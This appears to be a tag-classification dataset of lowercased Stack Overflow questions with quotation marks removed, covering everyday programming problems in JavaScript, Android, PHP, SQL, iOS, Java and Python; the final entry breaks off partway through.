js  onload  function calls infine time  if we replace <code>onclick</code> event with <code>onload</code>  then why bulb is keeping on and off infinite time   here is example <a href= http://www.w3schools.com/js/tryit.asp filename=tryjs_lightbulb  rel= nofollow >from w3schools</a>  just replace onclick with onload and submit code.    example:-   <pre><code>&lt;!doctype html&gt; &lt;html&gt; &lt;body&gt; &lt;script&gt; function changeimage() {     element = document.getelementbyid( myimage )     if (element.src.match( bulbon )) {         element.src =  pic_bulboff.gif ;     } else {         element.src =  pic_bulbon.gif ;     } } &lt;/script&gt;  &lt;img id= myimage  onload= changeimage()  src= pic_bulboff.gif  width= 100  height= 180 &gt;  &lt;p&gt;click the light bulb to turn on/off the light&lt;/p&gt;  &lt;/body&gt; &lt;/html&gt; </code></pre>,javascript
android edittext can not fetch data  in my android program i am using <strong>achartengine</strong> library for showing a pie chart.    the basic of the program is i have an activity where i have 2 edit text fields and a button.after fill up the edit text field  when click the button it will show a popup window with piechart..    here i am using <strong>name_list</strong> as a string type array. where value of edit text will store and after we can fetch.. the code is given below:---   <pre><code>   public class androidpopupwindowactivity111_new extends activity {      private static int[] colors = new int[] { color.magenta  color.cyan };       linearlayout layout;      private categoryseries mseries = new categoryseries(  );       private defaultrenderer mrenderer = new defaultrenderer();       private graphicalview mchartview;          edittext name1 name2;        private  int[] values = { 40 60 };      string x1 y1;       string[] name_list ;       /** called when the activity is first created. */     @override     public void oncreate(bundle savedinstancestate) {         super.oncreate(savedinstancestate);         setcontentview(r.layout.popup_main);         name1=(edittext) findviewbyid(r.id.ext1);        name2=(edittext) findviewbyid(r.id.ext2);        x1=name1.gettext().tostring();        y1=name2.gettext().tostring();        name_list = new string[] { x1   y1 };          mrenderer.setapplybackgroundcolor(true);         mrenderer.setbackgroundcolor(color.argb(100  50  50  50));           mrenderer.setcharttitletextsize(20);           mrenderer.setlabelstextsize(15);           mrenderer.setlegendtextsize(15);           mrenderer.setmargins(new int[] { 20  30  15  0 });           mrenderer.setzoombuttonsvisible(true);           mrenderer.setstartangle(90);          final button btnopenpopup = (button)findviewbyid(r.id.openpopup);          mchartview = chartfactory.getpiechartview(this  mseries  mrenderer);            btnopenpopup.setonclicklistener(new button.onclicklistener(){     @override    public void onclick(view arg0) {    layoutinflater layoutinflater    = (layoutinflater)getbasecontext()  .getsystemservice(layout_inflater_service);            view popupview = layoutinflater.inflate(r.layout.main_piechart  null);                final popupwindow popupwindow = new popupwindow( popupview  layoutparams.wrap_content layoutparams.wrap_content);                layout = (linearlayout)popupview.findviewbyid(r.id.chart);               layout.addview(mchartview);               for (int i = 0; i &lt; values.length; i++) {                         mseries.add(name_list[i] +  (  + values[i]+ %)   values[i]);                     simpleseriesrenderer renderer = new simpleseriesrenderer();                    renderer.setcolor(colors[(mseries.getitemcount() - 1) % colors.length]);                    mrenderer.addseriesrenderer(renderer);                    }                     if (mchartview != null) {                        mchartview.repaint();                     }                  button btndismiss = (button)popupview.findviewbyid(r.id.dismiss);              btndismiss.setonclicklistener(new button.onclicklistener(){       @override      public void onclick(view v) {        popupwindow.dismiss();      }});               popupwindow.showasdropdown(btnopenpopup  50  -30);     }});     }  } </code></pre>   but the problem is the name is not fetching from edittext..i am giving an example what error is occuring.:--    <a href= http://3.bp.blogspot.com/-pyywxsgvucs/uupc-1cmh_i/aaaaaaaaagw/u980pktf6ly/s1600/device-2013-03-21-041707.png  rel= nofollow >click the picture to know the problem</a>...in this picture <strong>a b c d</strong> is the edit text values..in my output <strong>a b c d</strong> is showing as <strong> null </strong> where is the problem          thanks in advance,android
how to save an image created from imagecreatefromstring() function   here is my code:   <pre><code>$data =  ivborw0kggoaaaansuheugaaabwaaaascamaaab/2u7waaaabl         .  bmveuaaad///+l2z/daaaasuleqvr4xqwquqoaiaxc2/0vxzdr         .  ex4ijtrkb7lobnustxsb0jixiamssqnwlsv+wulf4avk9flq2r         .  8a5hse35q3eo2xp1a1wqkzsgetvdtkdqaaaabjru5erkjggg== ; $data = base64_decode($data);  $im = imagecreatefromstring($data); if ($im !== false) {     header( content-type: image/png );     imagepng($im);     imagedestroy($im);  } else {     echo  an error occurred. ; } </code></pre>   i d like to save the image generated this way to a directory. how do i do this,php
intent filter and different extra s  i have one activity in one application  which is supposed to run another activity in another application  while passing to it an arguments|(through <code>putextra</code>)    the problem is that i know that i must add something like:   <pre><code>intent i = new intent(target); i.setaction( actionstring  + system.currenttimemillis()); </code></pre>   to the target intent(activity) so the system wont override the extra s and ill get diffrent extra s each time i run the target activity.     but when i add the setaction i get an error:   <blockquote>    couldnt find activity: no activity found to handle intent {       action=actionstring1278829343752 flags=0x10000000 (has extras) }  </blockquote>   any idea how could i solve it with <code>setaction</code>  maybe something i have to add also to the manifest,android
what is genericparameterhelper and how is it used   i generated unit tests on a generic class in vs 2008 and it used the type <a href= http://msdn.microsoft.com/en-us/library/microsoft.visualstudio.testtools.unittesting.genericparameterhelper.aspx  rel= noreferrer >genericparameterhelper</a> in all of the places that a generic type was used. is this a placeholder that should be replaced or does it have some use  what are the uses if any     here s one of the tests it generated as an example:   <pre><code>/// &lt;summary&gt; ///a test for count ///&lt;/summary&gt; public void counttesthelper&lt;tkey  tvalue&gt;() {     observabledictionary&lt;tkey  tvalue&gt; target = new observabledictionary&lt;tkey  tvalue&gt;(); // todo: initialize to an appropriate value     int actual;     actual = target.count;     assert.inconclusive( verify the correctness of this test method. ); }  [testmethod()] public void counttest() {     counttesthelper&lt;genericparameterhelper  genericparameterhelper&gt;(); } </code></pre>,.net
how can i load a deck of cards based on these instructions  c  <strong>these are the instructions my professor gave me for a lab in c</strong>    <strong>--solved--</strong>   <pre><code>struct singlecard {   int cardnum;   char face;   char suit; }; </code></pre>   your program must have the functions named as follows:    main() - calls  loaddeck()  and  dealcards().     loaddeck() will fill just the  cardnum  of the array with a unique number between 1 and 52.  it will do this by selecting a random number and then calling the function  checkdup()  to see if the number is a duplicate.  it will then call  loadface()  and  loadsuit().     checkdup() will receive the trial number and the deck of cards as input  and will return back a boolean.    loadface() will go through the deck and put the appropriate value in  face  of the array by using just the  cardnum  the modulus operator to extract the value from the string  a23456789tjqk.     loadsuit() will go through the deck and put the appropriate suit value in  suit  by using a method similar to  loadface()  where the suit string is  hdcs.     dealcards() will display the cards.    **my question is  how can i check that there are no duplicate faces in each suit without a ton of if statements  please disregard the fact that i m not sending the  cardnum  as a parameter to the functions loadface and loadsuit  also i m using srand(1) for debugging purposes. so far the output has unique card number and the correct amount of faces and suits (13  4)  but i m not sure how i can insert a nonduplicate element from here.any advice would be helpful. also  a simple assign and shuffle of an array isn t allowed :( **    <strong>edit checkdup and loaddeck currently load the deck with a unique card number but not a unique card face and suit. it just counts the number of a faces 2 faces 3 faces king faces etc. it also makes sure that there are 13 cards in each suit. i want to insert unique faces and suits into the stuct array so that i don t have say two 7 of spades.</strong>   <pre><code>#include &lt;stdio.h&gt; #include &lt;string.h&gt; #include &lt;math.h&gt; #include &lt;stdlib.h&gt; #include &lt;time.h&gt;   struct singlecard {     int cardnum;     char face;     char suit; };   int i  decksize = 52; char suits[] = { hdcs }; char faces[] = { a23456789tjqk };   void dealcards(struct singlecard deck[]) {      //sortcards();     printf( \n\n );     for (i = 0; i &lt; decksize; i++) {         if ((i + 1) % 4 == 0) {             printf( [%d %c-%c]  %d\n   deck[i].cardnum  deck[i].face  deck[i].suit  i + 1);         } else {             printf( [%d %c-%c]    deck[i].cardnum  deck[i].face  deck[i].suit);         }     }  }  int checkdupe(struct singlecard deck[] int n) {      int check = 0  j;     for (j = 0; j &lt; decksize; j++) {         if (n == deck[j].cardnum || n == 0) {            return check = 1;         }      }     return check;  }  void loadsuit(struct singlecard deck[] int n)  {           deck[i].suit = suits[(n-1) % 4]; }  void loadface(struct singlecard deck[] int n) {          deck[i].face = faces[(n-1) % 13];  }  void loaddeck(struct singlecard deck[]){      srand(time(null));      for (i = 0; i &lt; decksize;) {         int random_number = rand() % 53;         if (checkdupe(deck random_number) == 0) {              deck[i].cardnum = random_number;             loadface(deck deck[i].cardnum);             loadsuit(deck deck[i].cardnum);             i++;         }     }    }  int main(){     struct singlecard deck[52];     loaddeck(deck);     dealcards(deck);     return 0; } </code></pre>   <strong>current output</strong>   <pre><code>[5 5-h] [36 t-s] [6 6-d] [29 3-h]  4 [12 q-s] [19 6-c] [25 q-h] [13 k-h]  8 [42 3-d] [38 q-d] [14 a-d] [22 9-d]  12 [16 3-s] [40 a-s] [51 q-c] [35 9-c]  16 [24 j-s] [4 4-s] [20 7-s] [43 4-c]  20 [31 5-c] [9 9-h] [11 j-c] [48 9-s]  24 [49 t-h] [18 5-d] [41 2-h] [21 8-h]  28 [50 j-d] [52 k-s] [3 3-c] [27 a-c]  32 [39 k-c] [8 8-s] [33 7-h] [23 t-c]  36 [44 5-s] [17 4-h] [32 6-s] [45 6-h]  40 [30 4-d] [28 2-s] [2 2-d] [7 7-c]  44 [26 k-d] [34 8-d] [15 2-c] [47 8-c]  48 [10 t-d] [37 j-h] [1 a-h] [46 7-d]  52 </code></pre>,c
why isn t the angular ng-click event firing   i ve been following a course to learn angularjs and i can t seem to get a simple <code>ng-click</code> binding to work.    <strong>html:</strong>   <pre><code>&lt;body ng-controller= maincontroller &gt;      &lt;div ng-app= githubviewer &gt;          &lt;h1&gt;{{message}}&lt;/h1&gt;          &lt;div&gt;{{ error }}&lt;/div&gt;          {{username}}          &lt;form name= searchuser &gt;             &lt;input type= search  placeholder= username to find  ng-model= username  /&gt;             &lt;input type= submit  value= search  ng-click= search(username)  /&gt;         &lt;/form&gt;          &lt;div&gt;             &lt;div&gt;{{user.name}}&lt;/div&gt;             &lt;img ng-src= http://www.gravatar.com/avatar/{{user.gravatar_id}}  title= {{user.name}} &gt;             {{user.gravatar_id}}         &lt;/div&gt;      &lt;/div&gt;  &lt;/body&gt; </code></pre>   <strong>javascript:</strong>   <pre><code>(function () {      var module = angular.module( githubviewer   []);      var maincontroller = function ($scope  $http) {          var onusercomplete = function (response) {             $scope.user = response.data;         };          var onerror = function (reason) {             $scope.error =  could not fetch the user ;             $scope.reason = reason;         };          $scope.username =  angular ;         $scope.message =  github viewer ;          $scope.search = function (username) {             $http.get( https://api.github.com/users/  + username)                 .then(onusercomplete  onerror);         };     };      module.controller( maincontroller   maincontroller);  }()); </code></pre>   when you click the search button (search for username  odetocode  or  robconery ) it is supposed to display an image but the click event does not seem to be firing.  i have searched the documentation and looked over the course again but i can t see what i m doing wrong.    i m currently using version 1.2.16 of angularjs.,angularjs
jquery .animate somehow not reacting (for a wp site)  this is a bit embarrassing and frustrating in one. what i am trying to do is animate the width and the position of divs for a site. i have made a test and it works fine there:    <a href= http://romanaltenburg.com/temp/test.php  rel= nofollow >http://romanaltenburg.com/temp/test.php</a>    hoever  for the real website  the .animate does nothing at all. here is my code   <pre><code>$(document).ready(function() {          pwidth = $( #all_staff ).width();         pleft = $( #all_staff ).position();         pleft = pleft.left;         pcount = $( #[id^=member_] ).size();         ppercent = 100/pcount;         zindex = 0;         colors = [ #cccccc   #333333   #990099   #9624cf   #cccccc ];          //$( #[id^=member_] ).addclass( staff_member );         $( #[id^=member_] ).css( width   pwidth/pcount);         $( #[id^=member_] ).css( z-index   zindex);          for (i=1;i&lt;=pcount;i++){             $( #member_ +i).css( left   (pwidth/pcount)*(i-1)+pleft+ px );             $( #member_ +i).css( backgroundcolor   colors[i]);         }          $( #[id^=member_] )             .hover(function() {                 $(this).animate({ left: 20 }   fast );             }  function() {                 $(this).animate({ left: 0 }   fast );         });  }); </code></pre>   the really frustrating part is that any other function works fine for those divs. so if i write this here   <pre><code>$( #[id^=member_] )   .hover(function() {       $(this).css( left    20px );   }  function() {       $(this).css( left    0px ); }); </code></pre>   the divs jump where i tell them to. why  why  whyyyyyyyyyyy  :) don t get it  please help me out. thank you very very much!,jquery
sql rows columns  hi    suppose     there     is     a     field     called     description    description      which     has     values     a     b     c    i      want      the     desired     output      as desc1      new     column     to      have     first      value     of description      i.e      a desc2     new     column     to     have     second     value      of       description     i.e     b desc3     new     column     to     have     second     value      of    description     i.e     c    that      is     the     values     of     description     field     into separate     column     decsription1     description2 d    escription3     new     fields    can     anyone     help,sql
comma separated string comparison in mysql query  i want to search countries from a table as given below:   <pre><code>+-----+-------------+ | id  | country      +-----+-------------+ | 1   | us           +-----+-------------+ | 2   | us in uk | 3   | us nz | 4   | aus   </code></pre>   how i perform sql query to get all records containing a country =  us  with additional comma separated countries <br> thanks,mysql
assigning object properties with dynamic name and values using  this  keyword  i am initialising an object properties with dynamic keys and values from within my object s prototype. so i do this:   <pre><code>var base_proto = {             init_props : function (props){                  $.each(props  function(key  value) {                     this[key] = value;                       });             }         } </code></pre>   this does not work and just return an object with no properties.    but when i try this.notdynamicname = notdynamiccontent; in init_props it worked.    so basically  the dynamic assignment of keys and value is the problem.    so how can i deal with that     your responses would be greatly appreciated.,javascript
call non-interface function in objective-c  i m trying to write some test cases for my ios app using xcode 5 and the respective test templates. my app uses iaps which i can t test in simulator - but i want to be able to run tests on simulator (i do have devices  but that s beside the point for me).    pretend i have this:   <pre><code>// iapcontroller.m -(void)afunction:(nsobject*)aparam {    // do something } </code></pre>   note that afunction is not declared in iapcontroller.h.     how can i call this function regardless of its  anonymous  nature in my testcase (which imports iapcontroller.h)  i mean i know the function is there  and i know obj-c doesn t really support private functions  but still (with arc...) it s basically not allowing me to.  i was trying to utilize nsinvocation  is this the right direction,objective-c
getting the maximum date of a complex property  using angular $http  i have a model retrieved from a database. its a forum object that has topics. each topic has many posts.    i am displaying a grid with showing |topic description|count of posts| latest post|    i have the first two working but i am not sure how to get at the data from the latest post (last column). a post has a dateposted property. i want to show the latest post with info about the poster and the header etc.    would this be a custom filter or is their a better way.     <pre><code>&lt;div ng-controller= forumctrl &gt;  &lt;h3&gt;{{forum.forumdescription}}&lt;/h3&gt; &lt;h4&gt;&lt;/h4&gt;  &lt;table class= table table-condensed table-bordered table-hover table-striped &gt;     &lt;thead&gt;         &lt;tr&gt;             &lt;th&gt;topic&lt;/th&gt;             &lt;th&gt;threads&lt;/th&gt;             &lt;th&gt;latest post&lt;/th&gt;         &lt;/tr&gt;     &lt;/thead&gt;     &lt;tbody&gt;         &lt;tr ng-repeat= topic in forum.topics &gt;             &lt;td&gt;{{topic.topictext}}&lt;/td&gt;             &lt;td&gt;{{topic.posts.length}}&lt;/td&gt;             &lt;td&gt;{{math.max(topic.posts.postdate)}}&lt;/td&gt;         &lt;/tr&gt;     &lt;/tbody&gt; &lt;/table&gt; </code></pre>,angularjs
input type data change the select ng-options data using angularjs  i know how to bind select to the input text. but i want know reverse order of this if i enter the data in input field it effects on the select ng-options data  automatically.    <pre><code>&lt;select ng-options= item.productcode as item.productname  for item in getproductlist  ng-model= lining.barcode &gt; &lt;option value=  &gt;--select product--&lt;/option&gt;&lt;/select&gt; &lt;input type= text  ng-model= lining.barcode &gt; </code></pre>   i want to know reverse order. enter in input field auto matically select the ng-options    please give the solution.,angularjs
how to measure the code (i.e. data + text) size of a static library   i ve looked on so for an answer to this  but didn t find one. i have a large static library - it still has all its symbols so its huge. what i d like to know is what the actual code size it consumes when linked into an app and stripped.     the library also all current architectures lipoed into it  so really what i need is the code (i.e. data + text) for each architecture.,ios
jquery operation run one-time  is it possible to run this function below only one-time  i mean if  level  upper than -1  then the levelbar changing as looping according to this value. but i want to run  .progress-bar-fill  function one time. if the value upper than -1.   <pre><code>$( .progress-bar-fill ).delay(1000).queue(function () {     $(this).css( width    100% ) });  </code></pre>   <strong>string</strong>   <blockquote>    level  </blockquote>   -   <pre><code>function callback_activitylevel(level) {      $( #level ).html(level);      if(level == -1) {         $( #levelbar ).css( width     0px );     } else {         var kontrol = 1;         $( #levelbar ).css( width   (level * 2)+  px );         if ( kontrol == 1 ) {             $( .progress-bar-fill ).delay(1000).queue(function () {                 $(this).css( width    100% )             });           }     } } </code></pre>   this an audio recorder scripting. level bar is changes according to voice  level.,jquery
mysql scoring system - getting a single users rank from a score cloud  i have a table of scores for games and users  users can have many scores for each game:   <pre><code>user    game    score   timestamp 1       1       125     123456 2       1       120     123457 1       2       10293   123458 2       2       10253   123459 1       1       130     123460 </code></pre>   obviously there are a lot more users and games  but you get the idea  i m logging every score they get and storing it with a timestamp to get scores in specific timeframes.    what i need to do is to get a users individual rank in a game  for instance:   <pre><code>user 1 - game 1 - rank 1 user 2 - game 1 - rank 2 </code></pre>   but doing a query   <pre><code>select count(distinct user)  from scores  where game = 1  and score &gt; $user_2_score  and timestamp &lt; $time_limit  order by score desc </code></pre>   will put the user in 3rd place because user 1 has two scores higher than it. i thought <code>count(distinct user)</code> would solve the problem but for some reason it didn t!    (obviously i am getting the users highest score from another query and passing it to this query)    is there any way of doing this in mysql  or a better query i could use to get better results,mysql
why use a css document instead of a style tag   this seems like kind of a basic question. what are the reasons one would choose to use a css document instead of altering the style with the style tags in the html document  is it not possible  for instance  to alter ids and classes from within the html style tags  thanks- this is my first stackoverflow question!,html
css help: only webkit rendering li bullets  which should be hidden  <a href= http://horizon.hoffmangraphics.com/products/international-products/  rel= nofollow >http://horizon.hoffmangraphics.com/products/international-products/</a>    in chrome/safari  square bullets are visible next to product titles  and the alignment is incorrect.    firefox &amp; even ie  the layout looks correct. adding padding to h5 can fix alignment of product image and title  but breaks layout in working browsers.    any ideas,css
add values to one variable with for loop totalsum javascript  i have some values that come randomized to an variable. now i want to add every value to each other to get an total sum but the loop wont add them together.     the index variable work when i console log it. but not the total sum of a current value and the index value. any tips      this is the loop  // the indexvalue is values i get from an array//   <pre><code>  var indexvalue = index;  // random number from 1 - 10     var totalsum = 0;     for(var x = 0; x &lt;indexvalue; x++){     var currentvalue = index[x];    totalsum += currentvalue;     }      console.log(totalsum); </code></pre>,javascript
how do i open a directory using html when the files and html are all on a dvd  i work for a large company with agents all over the u.s.  we want to upgrade our agents to open source office suite (apache open office) from the chaotic mismatch of different versions used now.  problem is many of our people are barely computer literate.    i need to build a menu in html to install the proper version on their systems from a dvd i have downloaded the files onto.      i can code some html and some java but not a lot.  it would help if it were cross browser since some use macs but most use pcs.    i have researched for days and find many references to no access from the web bit surely there is a way to do it offline     thanks in advance.,html
query on printing the response made from an htmlpage <pre><code>    &lt;form action=   method= get &gt;     &lt;input type= hidden  name=   value=  &gt;      &lt;button value= submit &gt;update task&lt;/button&gt;     &lt;/form&gt; </code></pre>   i want the response to be printed in the editable format.,html
code a program with a nested for loop <pre><code>public class numbers {  public static void main(string[] args)  {     int num1 = 1;     int num2 = 1;     for (int i = 0; i &lt; 4; i++)     {         system.out.println(num1 +  \t  + num2++);         }     } } </code></pre>   output look likes this:   <pre><code>1     1 1     2 1     3 1     4 </code></pre>   i need to use a nested for loop to get the output to look like this:   <pre><code>1  1 1  2 1  3 1  4 2  1 2  2 2  3 2  4 </code></pre>   i m stumped.,java
always returning null in nsstring return function  i have the following code where i want to convert decimal odds to fractional odds. however the function <code>findnearestwholeinteger</code> always returns <code>null</code>.   <pre><code>- (nsstring *)displayoddwithformat:(nsstring *)decimalodd {     if ([[nsuserdefaults standarduserdefaults] boolforkey:@ fractionalodds ] == yes) {        float oddsf = decimalodd.floatvalue;        oddsf = oddsf - 1.0f;        return [self findnearestwholeinteger:oddsf andinitial:oddsf andbottom:1];    } else {        return odd;    } }  - (nsstring *)findnearestwholeinteger:(float)odds andinitial:(float)initial andbottom:(float)bottom {     nsnumber *numbervalue = [nsnumber numberwithfloat:odds];    nsstring *floatstring = [numbervalue stringvalue];    nsarray *floatstringcomps = [floatstring componentsseparatedbystring:@ . ];     if (floatstringcomps.count == 1) {        return [nsstring stringwithformat:@ %.f/%.f   odds  bottom];    } else {        bottom += 1;        odds += initial;        [self findnearestwholeinteger:odds andinitial:initial andbottom:bottom];        return nil;    } } </code></pre>   any ideas where i need to adapt my code  thanks in advance!,objective-c
android schedule task to execute at specific time daily  i am wanting to change my ringtone volume at specific time each day. i used a calendar to specify the time  and i am attempting to use alarmmanager to execute it. here is what i have. (i am a noobie go easy on me)   <pre><code>package com.example.ringervolume.app;  import android.app.activity; import android.app.alarmmanager; import android.app.pendingintent; import android.content.broadcastreceiver; import android.content.context; import android.content.intent; import android.media.audiomanager; import android.os.bundle; import android.support.v7.app.actionbaractivity; import android.view.menu; import android.view.menuitem; import android.widget.textview;  import java.util.calendar;   public class mainactivity extends actionbaractivity {       private audiomanager audio;     private pendingintent pendingintentam;     private pendingintent pentdingintentpm;     @override     protected void oncreate(bundle savedinstancestate) {         super.oncreate(savedinstancestate);         setcontentview(r.layout.activity_main);          textview textviewtime = (textview) findviewbyid (r.id.texttime);         audio = (audiomanager)getsystemservice(context.audio_service);          //ringer volume for the am.         calendar calendaram = calendar.getinstance();          calendaram.set(calendar.hour_of_day  21);         calendaram.set(calendar.minute  32);         calendaram.set(calendar.second  0);         calendaram.set(calendar.am_pm calendar.pm);            intent myintent = new intent(mainactivity.this  myreceiver.class);         pendingintentam = pendingintent.getbroadcast(mainactivity.this  0 myintent 0);         alarmmanager alarmmanageram = (alarmmanager)getsystemservice(alarm_service);         alarmmanageram.set(alarmmanager.rtc  calendaram.gettimeinmillis()  pendingintentam);       }      public class myreceiver extends broadcastreceiver {          @override         public void onreceive(context context  intent intent) {                 intent scheduledintent = new intent(context  myscheduleactivity.class);             scheduledintent.addflags(intent.flag_activity_new_task);             context.startactivity(scheduledintent);          }     }      public class myscheduleactivity extends activity {          @override         protected void oncreate(bundle savedinstancestate) {             super.oncreate(savedinstancestate);             audio.setringermode(audiomanager.ringer_mode_vibrate);         }     }        @override     public boolean oncreateoptionsmenu(menu menu) {          // inflate the menu; this adds items to the action bar if it is present.         getmenuinflater().inflate(r.menu.main  menu);         return true;     }      @override     public boolean onoptionsitemselected(menuitem item) {         // handle action bar item clicks here. the action bar will         // automatically handle clicks on the home/up button  so long         // as you specify a parent activity in androidmanifest.xml.         int id = item.getitemid();         if (id == r.id.action_settings) {             return true;         }         return super.onoptionsitemselected(item);     }  } </code></pre>,android
decoding sql datatype  image  data in java  i have searched the forums and found a few threads  but nothing specific to my challenge.    i am reading a sql table column called  filebytes  which has a datatype of  image .this  filebytes  column contains a binary encoded file (a pdf in this case). i have extracted the value (see below) as a string  written it to xml and transported the xml over the network. i am stuck where it needs to be decoded back to a human readable file.    initially i tried using base64  but then only realised base64 only works with ascii and not binary  so the file ended up as corrupt once decoded.     i am not sure how to decode it  since my only  input  at the moment is this string  and i am not sure how to properly convert the string to a byte[] and do the decoding.     any help is greatly appreciated.    below is the binary data as it appears in sql  which is extracted as a string:   <blockquote>    [encoded data, 5158 characters]  </blockquote>   thanks in advance.,java
connection pool api for tomcat version 3.0 and jdk1.5  i need to do connection pooling for my jsp program. i m using tomcat version 3.0 and jdk1.5. please suggest me an api for connection pooling that is compatible with both.    thanks.,java
how to remove chinese characters in java <pre><code>public class removehz                            //remove chinese characters {     public static string deal(string s){         stringbuffer sb = new stringbuffer(s);         stringbuffer se = new stringbuffer();    //store final results         int l = sb.length();         char c;         for(int i=0; i&lt;l; i++){                              c = sb.charat(i);                   //get each char from string             if(c&gt;40 &amp;&amp; c&lt;127){                  //what does this mean                  se.append(c);             }         }         return new string(se);     }     public static void main(string[] args)      {         system.out.println(deal( hello你好啊 ));     } } </code></pre>   what does the statement  if(c>40 &amp;&amp; c&lt;127)  mean      your help will be appreciated !,java
uiview  may not respond to  addcurrenttile   i have a class called boxview.h/m and another called tileview.h/m   <pre><code>#import &lt;uikit/uikit.h&gt; #import  tileview.h   @interface boxview : uiview { } - (void) addcurrenttile: (tileview*)atile; @end </code></pre>   the .m file has a method in it:   <pre><code>-(void) addcurrenttile: (tileview*)atile{     [currentturntilesarray addobject:atile]; } </code></pre>   in tileview.m i need to call addcurrenttile.  currently this seems to work but i m getting a warning saying that <code> uiview  may not respond to  addcurrenttile: </code>   <pre><code>#import  tileview.h  #import  boxview.h   @implementation tileview   - (void) touchesbegan:(nsset *)touches withevent:(uievent *)event{ [image setimage:[uiimage imagenamed:@ tileflipped.png ]]; [self.superview addcurrenttile:self];  } </code></pre>   i ve attempted to read and learn more about calling methods from different classes  but i can t seem to get this warning to go away.  thoughts,objective-c
i m try to get the weeknum for a week starting on thursday with the input given as date <pre><code>select week( 2017-08-03 )  </code></pre>   it gives me 31 as week number but it should be 32.    by googling i tried    <pre><code>select week( 2017-08-03  4)  </code></pre>   still i only get 31.    here based on the input date given i m trying to get the week number considering week starts on thursday and end on wednesday.    any help in this is much appreciated    thanks,mysql
absolute fastest method of hashing a string in php  what is the absolute fastest way to hash a string in php     i have read that md5 can be relatively slow but am unsure of the alternatives.    basically  i have a function that i need to squeeze every last bit of performance possible out of and within that function i have a string say  yada yada yada  and i need it hashed in someway so it becomes one string.    i should note that security is no issue here - i simply need a single unique string representation  as its for a cache key.,php
how to display table which contain image and other data  actually i am able to display image or remaining columns but not image +data    this is my code    <pre><code>if(rs1.next()){   imglen = rs 1. getstring(5); int len = imglen.length();   byte [] rb = new byte[len];   inputstream readimg = rs1.getbinarystream(5);   int index=readimg.read(rb  0  len);     response.setcontenttype( text/html );  out.print(rs1.getint(1) +  \t ); out.print(rs1.getstring(2) +  \t ); out.print(rs1.getstring(3) +  \t ); out.print(rs1.getlong(4) +  \t );  ps.close();   response.reset();   response.setcontenttype( image/jpg );    response.getoutputstream().write(rb 0 len);  response.getoutputstream().flush();  } </code></pre>,java
how to diagnose crash report  i have a uiviewcontroller：dfuserchatviewcontroller witch is inherit form dfchatviewcontroller，in dfchatviewcontroller init method i have a navigationitem.leftbarbuttonitem with a method backaction   <pre><code>- (id)init {     self = [super init];     if (self)     {        ...........         self.navigationitem.leftbarbuttonitem = [[[dfbarbackbuttonitem alloc] initwithtarget:self action:@selector(backaction:) image:nil] autorelease];     }     return self; } </code></pre>   in dfuserchatviewcontroller i overwrite the method backaction：   <pre><code>#pragma mark - action -(void)backaction:(id)sender {     [[nsnotificationcenter defaultcenter] removeobserver:self];     .............any other thing       .............     {         [self.navigationcontroller popviewcontrolleranimated:yes];     } } </code></pre>   i use crashlytics for crash report and today i receive a crash   <pre><code>0 crashed: com.apple.main-thread exc_bad_access kern_invalid_address at 0x4000000c raw 0 libobjc.a.dylib  objc_msgsend + 5 1 dfmypro      dfuserchatviewcontroller.m line 349 -[dfuserchatviewcontroller backaction:] 2 uikit    -[uiapplication sendaction:to:from:forevent:] + 90 3 uikit    -[uiapplication sendaction:totarget:fromsender:forevent:] + 30 4 uikit    -[uicontrol sendaction:to:forevent:] + 44 5 uikit    -[uicontrol _sendactionsforevents:withevent:] + 374 6 uikit    -[uicontrol touchesended:withevent:] + 590 7 uikit    -[uiwindow _sendtouchesforevent:] + 528 8 uikit    -[uiwindow sendevent:] + 832 9 dfmypro  dfshakewindow.m line 46 -[dfshakewindow sendevent:] 10 uikit    -[uiapplication sendevent:] + 196 11 uikit    _uiapplicationhandleeventqueue + 7098 12   corefoundation  __cfrunloop_is_calling_out_to_a_source0_perform_function__ + 14 13 corefoundation   __cfrunloopdosources0 + 206 14 corefoundation   __cfrunlooprun + 622 15 corefoundation   cfrunlooprunspecific + 522 16 corefoundation   cfrunloopruninmode + 106 17 graphicsservices     gseventrunmodal + 138 18   uikit   uiapplicationmain + 1136 19 dfmypro  main.m line 15 </code></pre>   main    i run my app again and again ，and didn‘t catch the crash ，how do i know where goes wrong,ios
android:retain state of application when launch from background to foreground  i want to show notification of my application in the form of icon whether it is run in background or foreground.if we launch application from notification  then i want my applications state prior to application in background.,android
how to check if method is executed   i need to prevent some methods execution when an other method is executed  that s why i think to check if that last did. the problem i didn t find a helpful solution  any ideas please.   <pre><code>private void loadscenarionumber() {         //some code }  private void numberofscenarioschanged(object sender  eventargs e) {     //if loadscenarionumber() is excuted        return;    else        updatescenariodatagrid();  } </code></pre>,c#
how to implement back button in android  am working on an app where previously i have disabled all the back button of my app but now i need to enable the back buttons of my app. when i click on the back button it should go to the previously visited activity.     if any one know the right implementation let me know.,android
why does `is` return false even though id s are identical   i already looked at <a href= https://stackoverflow.com/questions/13650293/understanding-pythons-is-operator#13650309 >this</a> question  but i don t really get why the two <code>id()</code> calls return an identical value  while the <code>is</code> comparison returns <code>false</code>.   <pre class= lang-python prettyprint-override ><code>&gt;&gt;&gt; [2 2 2] + [1] == [2 2 2 1] true &gt;&gt;&gt; [2 2 2] + [1] is [2 2 2 1] false &gt;&gt;&gt; id([2 2 2] + [1]) 4396847688 &gt;&gt;&gt; id([2 2 2 1]) 4396847688 </code></pre>   to be sure  i did expect the two comparisons to return <code>true</code> and <code>false</code> as they did  i just don t get why the ids are not different.,python
a href tag not working  i am creating download links to pdfs of chinese articles i have written  but for some reason  the links are not working. i stopped at the first li because i could not figure it out. even when i change it to a simple a href to my home page  it still does not work.     <pre><code>&lt;link href= http://s3.amazonaws.com/codecademy-content/courses/ltp/css/shift.css  rel= stylesheet &gt; &lt;link rel= stylesheet  href= http://s3.amazonaws.com/codecademy-content/courses/ltp/css/bootstrap.css &gt; &lt;link rel= stylesheet  href= chinese.css &gt; &lt;link rel= stylesheet  type= text/css  href= stylesheet.css /&gt; &lt;link rel= stylesheet  type= text/css  href= //fonts.googleapis.com/css family=yellowtail  /&gt; &lt;link rel= stylesheet  href= animate.css &gt; &lt;script type= text/javascript  src= home.js &gt;&lt;/script&gt; &lt;script src= http://code.jquery.com/jquery-latest.min.js  type= text/javascript &gt;&lt;/script&gt; &lt;script src= jquery-2.1.1.min.js &gt;&lt;/script&gt; &lt;script&gt;window.jquery || document.write( &lt;script src= jquery-2.1.1.min.js &gt;&lt;\/script&gt; )&lt;/script&gt;  &lt;script src= chinese.js &gt;&lt;/script&gt;      &lt;div class= samples &gt;         &lt;li&gt;&lt;a href= xijinping.pdf  